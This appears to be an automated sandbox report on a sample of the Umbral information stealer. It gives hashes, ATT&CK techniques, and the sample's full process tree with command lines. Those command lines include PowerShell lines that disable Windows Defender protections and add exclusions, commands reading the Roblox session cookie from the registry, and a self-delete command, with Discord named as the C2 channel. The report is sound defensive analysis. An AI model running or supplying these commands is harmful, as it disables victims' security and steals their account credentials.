umbral | 2a068fd9cec974e59a74ab132f781f9c69cb5b620e562f05d514d7720752ae64

Analysis

max time kernel
18s
max time network
22s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
06-07-2024 03:20

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General

Target

c045a0feb21965b697ce7c6abcf68d94.exe
Size

8.0MB
MD5

c045a0feb21965b697ce7c6abcf68d94
SHA1

bd60e3aa141a2ed4dbb11313be29fadc9fb50b6a
SHA256

2a068fd9cec974e59a74ab132f781f9c69cb5b620e562f05d514d7720752ae64
SHA512

013661d73b8140304a8578b9d903e9192aed82ce1dc244065284a5ae5ed83482e23a302dd164243959468bbd2b124e1b892373737f9c95ad85aba699159be20a
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4TNXVBoOJBiPHaIJtM1ub8e1m6i:joZtL+EP8xXVBoOJBiPHaIJtMEA

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2488-1-0x0000000001250000-0x0000000001290000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	c045a0feb21965b697ce7c6abcf68d94.exe

Deletes itself 1 IoCs

pid	Process
3008	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2672	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2080	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2488	c045a0feb21965b697ce7c6abcf68d94.exe
2784	powershell.exe
2948	powershell.exe
700	powershell.exe
2344	powershell.exe
1276	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2488	c045a0feb21965b697ce7c6abcf68d94.exe
Token: SeIncreaseQuotaPrivilege	2108	wmic.exe
Token: SeSecurityPrivilege	2108	wmic.exe
Token: SeTakeOwnershipPrivilege	2108	wmic.exe
Token: SeLoadDriverPrivilege	2108	wmic.exe
Token: SeSystemProfilePrivilege	2108	wmic.exe
Token: SeSystemtimePrivilege	2108	wmic.exe
Token: SeProfSingleProcessPrivilege	2108	wmic.exe
Token: SeIncBasePriorityPrivilege	2108	wmic.exe
Token: SeCreatePagefilePrivilege	2108	wmic.exe
Token: SeBackupPrivilege	2108	wmic.exe
Token: SeRestorePrivilege	2108	wmic.exe
Token: SeShutdownPrivilege	2108	wmic.exe
Token: SeDebugPrivilege	2108	wmic.exe
Token: SeSystemEnvironmentPrivilege	2108	wmic.exe
Token: SeRemoteShutdownPrivilege	2108	wmic.exe
Token: SeUndockPrivilege	2108	wmic.exe
Token: SeManageVolumePrivilege	2108	wmic.exe
Token: 33	2108	wmic.exe
Token: 34	2108	wmic.exe
Token: 35	2108	wmic.exe
Token: SeIncreaseQuotaPrivilege	2108	wmic.exe
Token: SeSecurityPrivilege	2108	wmic.exe
Token: SeTakeOwnershipPrivilege	2108	wmic.exe
Token: SeLoadDriverPrivilege	2108	wmic.exe
Token: SeSystemProfilePrivilege	2108	wmic.exe
Token: SeSystemtimePrivilege	2108	wmic.exe
Token: SeProfSingleProcessPrivilege	2108	wmic.exe
Token: SeIncBasePriorityPrivilege	2108	wmic.exe
Token: SeCreatePagefilePrivilege	2108	wmic.exe
Token: SeBackupPrivilege	2108	wmic.exe
Token: SeRestorePrivilege	2108	wmic.exe
Token: SeShutdownPrivilege	2108	wmic.exe
Token: SeDebugPrivilege	2108	wmic.exe
Token: SeSystemEnvironmentPrivilege	2108	wmic.exe
Token: SeRemoteShutdownPrivilege	2108	wmic.exe
Token: SeUndockPrivilege	2108	wmic.exe
Token: SeManageVolumePrivilege	2108	wmic.exe
Token: 33	2108	wmic.exe
Token: 34	2108	wmic.exe
Token: 35	2108	wmic.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeIncreaseQuotaPrivilege	1920	wmic.exe
Token: SeSecurityPrivilege	1920	wmic.exe
Token: SeTakeOwnershipPrivilege	1920	wmic.exe
Token: SeLoadDriverPrivilege	1920	wmic.exe
Token: SeSystemProfilePrivilege	1920	wmic.exe
Token: SeSystemtimePrivilege	1920	wmic.exe
Token: SeProfSingleProcessPrivilege	1920	wmic.exe
Token: SeIncBasePriorityPrivilege	1920	wmic.exe
Token: SeCreatePagefilePrivilege	1920	wmic.exe
Token: SeBackupPrivilege	1920	wmic.exe
Token: SeRestorePrivilege	1920	wmic.exe
Token: SeShutdownPrivilege	1920	wmic.exe
Token: SeDebugPrivilege	1920	wmic.exe
Token: SeSystemEnvironmentPrivilege	1920	wmic.exe
Token: SeRemoteShutdownPrivilege	1920	wmic.exe
Token: SeUndockPrivilege	1920	wmic.exe
Token: SeManageVolumePrivilege	1920	wmic.exe
Token: 33	1920	wmic.exe
Token: 34	1920	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 2108	2488	c045a0feb21965b697ce7c6abcf68d94.exe	29
PID 2488 wrote to memory of 2108	2488	c045a0feb21965b697ce7c6abcf68d94.exe	29
PID 2488 wrote to memory of 2108	2488	c045a0feb21965b697ce7c6abcf68d94.exe	29
PID 2488 wrote to memory of 2880	2488	c045a0feb21965b697ce7c6abcf68d94.exe	32
PID 2488 wrote to memory of 2880	2488	c045a0feb21965b697ce7c6abcf68d94.exe	32
PID 2488 wrote to memory of 2880	2488	c045a0feb21965b697ce7c6abcf68d94.exe	32
PID 2488 wrote to memory of 2784	2488	c045a0feb21965b697ce7c6abcf68d94.exe	34
PID 2488 wrote to memory of 2784	2488	c045a0feb21965b697ce7c6abcf68d94.exe	34
PID 2488 wrote to memory of 2784	2488	c045a0feb21965b697ce7c6abcf68d94.exe	34
PID 2488 wrote to memory of 2948	2488	c045a0feb21965b697ce7c6abcf68d94.exe	36
PID 2488 wrote to memory of 2948	2488	c045a0feb21965b697ce7c6abcf68d94.exe	36
PID 2488 wrote to memory of 2948	2488	c045a0feb21965b697ce7c6abcf68d94.exe	36
PID 2488 wrote to memory of 700	2488	c045a0feb21965b697ce7c6abcf68d94.exe	38
PID 2488 wrote to memory of 700	2488	c045a0feb21965b697ce7c6abcf68d94.exe	38
PID 2488 wrote to memory of 700	2488	c045a0feb21965b697ce7c6abcf68d94.exe	38
PID 2488 wrote to memory of 2344	2488	c045a0feb21965b697ce7c6abcf68d94.exe	40
PID 2488 wrote to memory of 2344	2488	c045a0feb21965b697ce7c6abcf68d94.exe	40
PID 2488 wrote to memory of 2344	2488	c045a0feb21965b697ce7c6abcf68d94.exe	40
PID 2488 wrote to memory of 1920	2488	c045a0feb21965b697ce7c6abcf68d94.exe	42
PID 2488 wrote to memory of 1920	2488	c045a0feb21965b697ce7c6abcf68d94.exe	42
PID 2488 wrote to memory of 1920	2488	c045a0feb21965b697ce7c6abcf68d94.exe	42
PID 2488 wrote to memory of 2036	2488	c045a0feb21965b697ce7c6abcf68d94.exe	44
PID 2488 wrote to memory of 2036	2488	c045a0feb21965b697ce7c6abcf68d94.exe	44
PID 2488 wrote to memory of 2036	2488	c045a0feb21965b697ce7c6abcf68d94.exe	44
PID 2488 wrote to memory of 2840	2488	c045a0feb21965b697ce7c6abcf68d94.exe	46
PID 2488 wrote to memory of 2840	2488	c045a0feb21965b697ce7c6abcf68d94.exe	46
PID 2488 wrote to memory of 2840	2488	c045a0feb21965b697ce7c6abcf68d94.exe	46
PID 2488 wrote to memory of 1276	2488	c045a0feb21965b697ce7c6abcf68d94.exe	48
PID 2488 wrote to memory of 1276	2488	c045a0feb21965b697ce7c6abcf68d94.exe	48
PID 2488 wrote to memory of 1276	2488	c045a0feb21965b697ce7c6abcf68d94.exe	48
PID 2488 wrote to memory of 2672	2488	c045a0feb21965b697ce7c6abcf68d94.exe	50
PID 2488 wrote to memory of 2672	2488	c045a0feb21965b697ce7c6abcf68d94.exe	50
PID 2488 wrote to memory of 2672	2488	c045a0feb21965b697ce7c6abcf68d94.exe	50
PID 2488 wrote to memory of 3008	2488	c045a0feb21965b697ce7c6abcf68d94.exe	52
PID 2488 wrote to memory of 3008	2488	c045a0feb21965b697ce7c6abcf68d94.exe	52
PID 2488 wrote to memory of 3008	2488	c045a0feb21965b697ce7c6abcf68d94.exe	52
PID 3008 wrote to memory of 2080	3008	cmd.exe	54
PID 3008 wrote to memory of 2080	3008	cmd.exe	54
PID 3008 wrote to memory of 2080	3008	cmd.exe	54

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2880	attrib.exe

C:\Users\Admin\AppData\Local\Temp\c045a0feb21965b697ce7c6abcf68d94.exe
"C:\Users\Admin\AppData\Local\Temp\c045a0feb21965b697ce7c6abcf68d94.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2108
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\c045a0feb21965b697ce7c6abcf68d94.exe"
  2⤵
  - Views/modifies file attributes
  PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\c045a0feb21965b697ce7c6abcf68d94.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2344
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1920
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2036
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1276
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2672
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\c045a0feb21965b697ce7c6abcf68d94.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8bea3a5e5b573df48ca478a47e48bff3

SHA1
fd60b479380981f9fbddefcf7555c433b8e279fd

SHA256
b1fca064f34d6ede2ea5d540bc02e63473813db56e13182f6c80b5d6e78e1018

SHA512
dc52fed01922a6d4296aa50b631bf14513550a8f8a3ea9c463f10cd5f701749dfcabe811ad0e0be815fa5b80a45f103a8d1ab687d038b53bf2b7ada2ae29e2b9

Download Submit
memory/1276-43-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2488-0-0x000007FEF5583000-0x000007FEF5584000-memory.dmp

Filesize
4KB

Download
memory/2488-1-0x0000000001250000-0x0000000001290000-memory.dmp

Filesize
256KB

Download
memory/2488-2-0x000007FEF5580000-0x000007FEF5F6C000-memory.dmp

Filesize
9.9MB

Download
memory/2488-47-0x000007FEF5580000-0x000007FEF5F6C000-memory.dmp

Filesize
9.9MB

Download
memory/2784-7-0x000000001B2B0000-0x000000001B592000-memory.dmp

Filesize
2.9MB

Download
memory/2784-8-0x0000000002010000-0x0000000002018000-memory.dmp

Filesize
32KB

Download
memory/2948-14-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2948-15-0x0000000002370000-0x0000000002378000-memory.dmp

Filesize
32KB

Download